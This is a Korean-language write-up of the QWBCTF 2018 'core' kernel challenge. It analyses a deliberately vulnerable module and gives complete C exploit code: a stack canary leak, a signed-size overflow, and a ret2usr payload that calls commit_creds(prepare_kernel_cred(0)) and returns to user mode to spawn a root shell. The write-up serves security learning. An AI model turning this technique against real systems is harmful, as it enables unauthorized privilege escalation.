[QWBCTF 2018] core writeup (kernel exploit)

👋 들어가기 전에

취약점도 깔끔하고 익스코드로 짜는것도 깔끔하고 나름 커널 익스 기본 익히기 좋은 문제 같아서 추천합니다. 👍

☑️ 문제 파일 다운로드

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/kernel/QWB2018-core

GitHub - ctf-wiki/ctf-challenges

 

☑️ 파일 확인

주어진 파일은 bzImage, core.cpio, start.sh, vmlinux이다.

bzImage

$ binwalk bzImage    

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
15990         0x3E76          gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)

• 커널 이미지

 

core.cpio

$ binwalk core.cpio     

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             gzip compressed data, maximum compression, from Unix, last modified: 2018-10-05 14:08:36

• 압축된 파일 시스템
• 파일시스템을 얻기 위해 압축해제를 진행한다.

$ mv core.cpio core.cpio.gz
$ gzip -d core.cpio.gz 
$ ls   
core.cpio
$ binwalk core.cpio 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ASCII cpio archive (SVR4 with no CRC), file name: ".", file name length: "0x00000002", file size: "0x00000000"
112           0x70            ASCII cpio archive (SVR4 with no CRC), file name: "usr", file name length: "0x00000004", file size: "0x00000000"
228           0xE4            ASCII cpio archive (SVR4 with no CRC), file name: "usr/sbin", file name length: "0x00000009", file size: "0x00000000"
348           0x15C           ASCII cpio archive (SVR4 with no CRC), file name: "usr/sbin/popmaildir", file name length: "0x00000014", file size: "0x00000011"
500           0x1F4           ASCII cpio archive (SVR4 with no CRC), file name: "usr/sbin/chroot", file name length: "0x00000010", file size: "0x00000011"
648           0x288           ASCII cpio archive (SVR4 with no CRC), file name: "usr/sbin/crond"
[...]
$ cpio -idv < core.cpio    
.
usr
usr/sbin
usr/sbin/popmaildir
usr/sbin/chroot
usr/sbin/crond
usr/sbin/loadfont
usr/sbin/i2cdump
usr/sbin/rdev
usr/sbin/ntpd
usr/sbin/readahead
usr/sbin/deluser
usr/sbin/adduser
usr/sbin/lpd
usr/sbin/nbd-client
usr/sbin/ubirmvol
usr/sbin/ubidetach
usr/sbin/fdformat
[...]
$ ls
bin        core.ko  gen_cpio.sh  lib    linuxrc  root  sys  usr
core.cpio  etc      init         lib64  proc     sbin  tmp  vmlinux

 

start.sh

qemu-system-x86_64 \
    -m 256M \
    -kernel ./bzImage \
    -initrd  ./core.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
    -s  \
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    -nographic  \

• 부팅 스크립트
• KASLR 보호기법이 적용되어있다.
• 그냥 돌리면 kernel panic 나서 메모리를 64M를 256M로 늘렸다.

 

vmlinux

• 심볼 살아있는 실행 파일로, 커널 디버깅 시 사용할 수 있다.

 

core.ko

취약한 kernel module로, 디컴파일러로 분석한다.

 

init

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

poweroff -d 3000 -f & # change timeout 120 to 3000
setsid /bin/cttyhack setuidgid 1000 /bin/sh
#setsid /bin/cttyhack setuidgid 0 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

• /proc/kallsyms를 /tmp/kallsyms 에 복사한다. 익스플로잇 시 필요한 커널 함수 심볼을 /tmp/kallsyms 파일에서 구해준다.

 

gen_cpio.sh

find . -print0 \
    | cpio --null -ov --format=newc \
    | gzip -9 > $1

파일시스템 압축해주는 쉘 스크립트이다.
익스코드를 파일시스템에 넣고 파일시스템 압축해서 변경된 파일시스템 경로를 start.sh에 줘서 익스플로잇 코드를 실행할 수 있다.

 

 

☑️ core.ko 분석

init_module()

__int64 init_module()
{
  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  printk(&unk_2DE);
  return 0LL;
}

• 디바이스 드라이버 open() 시 호출되는 함수로, proc 경로 하위에 core 디바이스 드라이버를 생성한다.
• 등록 후 core_proc 전역변수에 저장된다.

 

core_release()

__int64 core_release()
{
  printk(&unk_204);
  return 0LL;
}

• printk는 dmesg로 로깅되는 메시지이다. core: release가 로깅된다.

 

exit_core()

__int64 exit_core()
{
  __int64 result; // rax

  if ( core_proc )
    result = remove_proc_entry("core"); // core created: /proc/core entry
  return result;
}

• close() 호출 시 호출되는 함수로 모듈 종료 시 등록한 모듈을 제거한다.
• proc 디렉터리에 생성된 core를 삭제한다.

 

core_ioctl()

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  __int64 v3; // rbx

  v3 = a3;
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk(&unk_2CD); // core: %d (a3)
      off = v3;
      break;
    case 0x6677889A:
      printk(&unk_2B3); // core: called core |copy
      core_copy_func(v3);
      break;
  }
  return 0LL;
}

• a1에는 file descriptor 번호를 주고, a2에 따라 다른 기능을 수행한다. 
• a2 == 0x6677889B
  • core_read() 호출
• a2 == 0x6677889C
  • core: %d 가 로깅된 후
  • 전역변수 off가 v3로 설정된다. v3는 사용자가 입력한 a3 값으로 세팅된다.
• a2 == 0x6677889A
  • core called: core | copy가 로깅
  • v3(user input)를 인자로 core_copy_func() 함수가 호출된다.

 

core_read()

unsigned __int64 __fastcall core_read(__int64 a1)
{
  __int64 v1; // rbx
  __int64 *v2; // rdi
  signed __int64 i; // rcx
  unsigned __int64 result; // rax
  __int64 v5; // [rsp+0h] [rbp-50h]
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]

  v1 = a1;
  v6 = __readgsqword(0x28u); // canary
  printk(&unk_25B); // core: called core |read
  printk(&unk_275); // %d %p
  v2 = &v5;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 = (__int64 *)((char *)v2 + 4);
  }
  strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(v1, (char *)&v5 + off, 64LL);
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}

core_read()의 매개변수 a1은 ioctl()에서 넘긴 값이다.
v1에 a1 값을 저장하고, v6에는 canary를 저장한다. (v6가 rbp-0x10에 위치하므로 canary임)
이후 printk로 core: called core|read와 %d %p를 로깅한다.
v5는 rbp-0x50에 위치하므로, canary 0x8, SFP 0x8 제외하면 크기가 0x40이다.
strcpy로 v5에 문자열을 넣고, v5(kernel stack)+off 위치부터 0x40 바이트만큼 v1(user input)에 복사한다.

core_ioctl의 두 번째 케이스에서 off 값을 ioctl의 세 번째 인자로 설정할 수 있다.
v5는 rbp-0x50에 위치하는데, v5+0x40을 주면 v5+0x40 위치의 canary 값부터 0x40 바이트를 v1에 저장할 수 있다.
즉, canary leak이 가능하다.
canary가 설정된 경우 overflow 취약점 이용해서 return address 덮는걸 방지하기 위해서 canary가 변조될 경우 stack smashing 오류 메시지가 뜬다. 근데 canary leak해서 정확한 canary 위치에 넣어주면 문제없이 익스플로잇이 가능하다.

---
RET (0x8) - return address
---
SFP (0x8) - stack frame pointer
---
v6 (0x8) - canary
---
v5 (0x40) - local variable
---

여기서 알 수 있는 커널 스택 구조는 위와 같다.

 

core_write()

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v3; // rbx

  v3 = a3;
  printk(&unk_215);
  if ( v3 <= 0x800 && !copy_from_user(&name, a2, v3) )
    return (unsigned int)v3;
  printk(&unk_230); // core: error copying data from userspace
  return 4294967282LL;
}

v3(input 값)이 0x800 이하이면 copy_from_user로 name(전역변수)에 a2(user input)를 v3(user input)만큼 복사할 수 있다.
크기가 넉넉해서 익스플로잇 시 사용할 payload를 넣어주기 좋을 것 같다.

 

core_copy_func()

signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
  signed __int64 result; // rax
  __int64 v2; // [rsp+0h] [rbp-50h]
  unsigned __int64 v3; // [rsp+40h] [rbp-10h]

  v3 = __readgsqword(0x28u);
  printk(&unk_215); // core: called core|writen
  if ( a1 > 63 )
  {
    printk(&unk_2A1); // Detected Overflow
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(&v2, &name, (unsigned __int16)a1);
  }
  return result;
}

a1(user input)과 63을 비교해서 buffer overflow 여부를 체크한다.
하지만 a2은 signed __int64 타입이다. 64bit 플랫폼에서는 조건문에서 비교 시 unsigned가 아닌 signed 타입으로 비교해서 이 조건문을 a1에 음수를 주는 것으로 우회할 수 있다.
qmemcpy() 시에는 unsigned __int16 타입으로 type casting이 되어 만약 a1 = -1이면 a1=0xFFFFFFFFFFFFFFFF가 된다.
v2(kernel local 변수)는 rbp-0x50에 위치해서 크기가 0x40으로, v5에 name(user input)을 a1만큼 복사 시 buffer overflow 취약점이 발생하게 된다.

반응형

☑️ Exploit Flow

1. ioctl(fd, 0x6677889C, 0x40)
   • off=0x40으로 설정
2. ioctl(fd, 0x6677889B, 0x40)
   • core_read 호출해서 user buffer에 v5+0x40부터 데이터 64바이트 저장
   • canary를 유저 변수에 저장해서 canary leak 가능
3. write(fd, user_data, size)
   • 익스플로잇 페이로드를 name에 복사
   • 페이로드에서 core_copy_func()의 return address 위치를 원하는 어셈 실행하는 함수 주소로 덮게 주면 된다. 이때 카나리 값도 넣어준다. 
   • payload라는 함수 주소를 주는데, payload 함수에서는 commit_creds(prepare_kernel_cred(0)); 으로 권한을 0(root)로 만들어주기 위해 사용한다.
   • ‘A’*0x40 (v2) + canary + ‘B’*8 (SFP) + &payload(ret)
4. ioctl(fd, 1719109786, size)
   • core_copy_func(size) 호출
   • core_write()에서 user input이 복사된 name이 이 함수 스택에 복사된다.
   • 음수 size를 줘서 사이즈 체크 우회하고, type casting으로 절대값 크기만큼 core_copy_func 스택에 복사된다. (BOF 발생)
5. 스택 복원 및 쉘 실행
   • payload 실행되면 root권한을 얻게 되고, 유저 모드로 돌아와서 유저 스택을 복원해주기 위해 trap_frame 구조체를 사용한다.
   • 스택 복원 시 t구조체 값의 rip를 get_shell 로 줬기 때문에 실행 흐름이 get_shell로 이동해서 root 권한으로 쉘을 실행한다 (kaslr 말고는 다른 보호기법이 적용되어있지 않기 때문에 함수 실행 가능한 것)

 

canary leak

#include <stdio.h>
#include <sys/ioctl.h> // ioctl()
#include <string.h> // memcpy()
#include <fcntl.h> // O_RDWR
#include <stdint.h> // uint64_t 
#include <unistd.h> // open()
#include <stdlib.h> // exit()

int main(){
    char buf[0x100];
    char canary[8];
    char rop[0x100]={0,};

    // init_module()
    int fd = open("/proc/core", O_RDWR); 
    if(fd < 0){
        fprintf(stderr, "[-] File open error\n");
        exit(-1);
    }
    
    printf("[+] File opened\n");    
    
    // off(global) value setting
    ioctl(fd, 0x6677889C, 0x40);

    // core_read() - save canary
    ioctl(fd, 0x6677889B, buf);
    printf("[+] canary: ");
    // copy 8byte canary
    memcpy(canary, buf, 8);
    for(int i=7; i>=0; i--)
        printf("%02x", canary[i] & 0xFF);
    printf("\n");
    // exit_core()
    close(fd);
    return 0;

}

off를 canary 위치인 0x40으로 줘서, canary를 user 변수에 저장해서 구한걸 확인할 수 있다.

 

kernel symbol 구하기

unsigned long get_symbol(const char* name)
{
    FILE *fd;
    char buf[0x100];
    char addr[32];

    fd = fopen("/tmp/kallsyms","r");
    if(fd < 0)
    {
        printf("[-] Failed to open /tmp/kallsyms\n");
        exit(-1);
    }

    memset(buf, 0,sizeof(buf));
	
    while(fgets(buf,0x100,fd) != NULL)
    {
        char *p = buf;
        char *a = addr;

        if(strlen(buf) == 0)
            continue;

        memset(addr,0,sizeof(addr));
        buf[strlen(buf)-1] = '\0';

        while(*p != ' ')   
            *a++ = *p++;

        p += 3;
        if(!strcmp(p,name))
            return strtoul(addr, NULL, 16);
    }

    return 0;
}

이제 commit_creds, prepare_kernel_cred의 심볼을 구해보자.
/tmp/kallsyms 파일에 저장된 주소를 구해준다.

 

payload 구성

// exploit payload setting 
    memset(rop, 0x41, 0x40); // 'A'*0x40 
    memcpy(rop+0x40, canary, 8); 
    memset(rop+0x48, 0x42, 8); // SFP
    *(void**)(rop+0x50) = &exploit; // set return address to exploit addr

name에 넣을 페이로드이다.
name에 넣으면 core_copy_func()에서의 BOF 취약점으로 return address를 원하는 값으로 덮어서 실행 흐름을 바꿀 수 있다.

 

trap frame 구성

struct trap_frame
{
    void *rip;
    uint64_t cs; // code segment
    uint64_t rflags; // CPU flags
    void *rsp; // stack pointer
    uint64_t ss; // stack segment
}__attribute__((packed));
struct trap_frame tf;

커널 모드에서 유저 모드로 돌아올 때 복원해줄 레지스터 값들을 저장하는 구조체를 만든다.
rip, cs, rflags, rsp, ss가 있고, 전역변수 tf 구조체 변수를 만들어줬다.

// save user trap frame
void save_trapframe(){
    asm("mov tf+8, cs;"
        "pushf; pop tf+16;"
        "mov tf+24, rsp;"
        "mov tf+32, ss;"
    );
    tf.rip = &get_shell;

    printf("[+] trap frame backuped\n");
}

실질적으로 유저 trap frame 정보를 백업해주는 코드이다.
그리고 rip에는 get_shell 주소를 주는데, kernel 모드에서 root 권한 얻고 유저 모드로 돌아올 때 trap_frame에 저장된 레지스터 값들을 복원하고, rip는 get_shell 주소를 가리키게 해서 system("/bin/sh")로 쉘을 실행해주는 함수로 실행 흐름을 바꾸기 위해서이다.
core_copy_func()의 return address 덮기 전 이 함수를 호출해준다.

 

Exploit

// save user register info
    save_trapframe(); 
    
    // copy payload data to name(global)
    write(fd, rop, 0x58);

    printf("[+] set name to payload\n");
    
    // core_copy_func() - overwrite core_copy_func return address 
    ioctl(fd, 0x6677889A, 0xffffffffffff0000 | sizeof(rop));

write()을 호출해서 name 전역변수에 exploit payload를 저장한다.
ioctl로 음수를 줘서 사이즈 체크 조건을 우회하고 BOF를 통해 return address를 &exploit으로 덮는다.

void exploit(){
    commit_creds(prepare_kernel_cred(0)); // set cred struct field to 0
    asm("swapgs;"
        "mov %%rsp, %0;" // get backuped trap frame 
        "iretq;" // restruct saved trap frame content by iretq
    :: "r"(&tf));
}

exploit()에는 위의 코드를 실행한다.
커널모드에서 실행하게 되는데, KASLR 보호기법만 있어서 커널에서 이 함수를 실행 할 수 있다.
prepare_kernel_cred() 인자로 0(NULL) 전달해서 root의 cred 구조체 반환한다.
commit_creds() 인자로 root의 cred 구조체(credential 구조체) 전달하면 현재 task의 권한이 root로 상승한다.
이후 swapgs; 로 커널 모드에서 유저 모드로 돌아오고, 만들어준 tf 구조체를 사용해서 유저 모드에서의 레지스터 값들을 복원해줘서 유저 모드에서 실행을 이어간다.

// get shell after privilged
void get_shell(){
    printf("[+] get shell\n");
    system("/bin/sh");
}

이후 레지스터 값 복원하면서 rip에는 get_shell 주소를 줬으므로 root 권한의 쉘을 얻을 수 있다.

 

 

☑️ Exploit code

#include <stdio.h>
#include <sys/ioctl.h> // ioctl()
#include <string.h> // memcpy()
#include <fcntl.h> // O_RDWR
#include <stdint.h> // uint64_t 
#include <unistd.h> // open()
#include <stdlib.h> // exit()

int __attribute__((regparm(3)))(*commit_creds)(void*);
void* __attribute__((regparm(3)))(*prepare_kernel_cred)(void*);

struct trap_frame
{
    void *rip;
    uint64_t cs; // code segment
    uint64_t rflags; // CPU flags
    void *rsp; // stack pointer
    uint64_t ss; // stack segment
}__attribute__((packed));
struct trap_frame tf;

unsigned long get_symbol(const char* name)
{
    FILE *fd;
    char buf[0x100];
    char addr[32];

    fd = fopen("/tmp/kallsyms","r");
    if(fd < 0)
    {
        printf("[-] Failed to open /tmp/kallsyms\n");
        exit(-1);
    }

    memset(buf, 0,sizeof(buf));
	
    while(fgets(buf,0x100,fd) != NULL)
    {
        char *p = buf;
        char *a = addr;

        if(strlen(buf) == 0)
            continue;

        memset(addr,0,sizeof(addr));
        buf[strlen(buf)-1] = '\0';

        while(*p != ' ')   
            *a++ = *p++;

        p += 3;
        if(!strcmp(p,name))
            return strtoul(addr, NULL, 16);
    }

    return 0;
}

// get shell after privilged
void get_shell(){
    printf("[+] get shell\n");
    system("/bin/sh");
}

// save stack frame
void save_trapframe(){
    asm("mov tf+8, cs;"
        "pushf; pop tf+16;"
        "mov tf+24, rsp;"
        "mov tf+32, ss;"
    );
    tf.rip = &get_shell;

    printf("[+] trap frame backuped\n");
}

void exploit(){
    commit_creds(prepare_kernel_cred(0)); // set cred struct field to 0
    asm("swapgs;"
        "mov %%rsp, %0;" // get backuped trap frame 
        "iretq;" // restruct saved trap frame content by iretq
        ::"r"(&tf)
    );
}

int main(){
    char buf[0x100];
    char canary[8];
    char rop[0x100];

    // init_module()
    int fd = open("/proc/core", O_RDWR); 
    if(fd < 0){
        fprintf(stderr, "[-] File open error\n");
        exit(-1);
    }
    
    printf("[+] File opened\n");    
    
    // off(global) value setting
    ioctl(fd, 0x6677889C, 0x40);

    // core_read() - save canary
    ioctl(fd, 0x6677889B, buf);
    printf("[+] canary: ");
    // copy 8byte canary
    memcpy(canary, buf, 8);
    for(int i=7; i>=0; i--)
        printf("%02x", canary[i] & 0xFF);
    printf("\n");

    // get kernel symbol of commit_creds, prepare_kernel_cred 
    commit_creds = get_symbol("commit_creds");
    
    if(commit_creds == 0){
        printf("[-] Filed to get commit_creds addr\n");
        exit(-1);
    }
    printf("[+] commit_creds: %p\n", commit_creds);

    prepare_kernel_cred = get_symbol("prepare_kernel_cred");
    if(prepare_kernel_cred == 0){
        printf("[-] Filed to get prepare_kernel_cred addr\n");
        exit(-1);
    }
    printf("[+] prepare_kernel_cred: %p\n", prepare_kernel_cred);


    // exploit payload setting 
    memset(rop, 0x41, 0x40); // 'A'*0x40 
    memcpy(rop+0x40, canary, 8); 
    memset(rop+0x48, 0x42, 8); // SFP
    *(void**)(rop+0x50) = &exploit; // set return address to exploit addr

    // save user register info
    save_trapframe(); 
    
    // copy payload data to name(global)
    write(fd, rop, 0x58);

    printf("[+] set name to payload\n");
    
    // core_copy_func() - overwrite core_copy_func return address 
    ioctl(fd, 0x6677889A, 0xffffffffffff0000 | sizeof(rop));

    // exit_core()
    close(fd);
    return 0;

}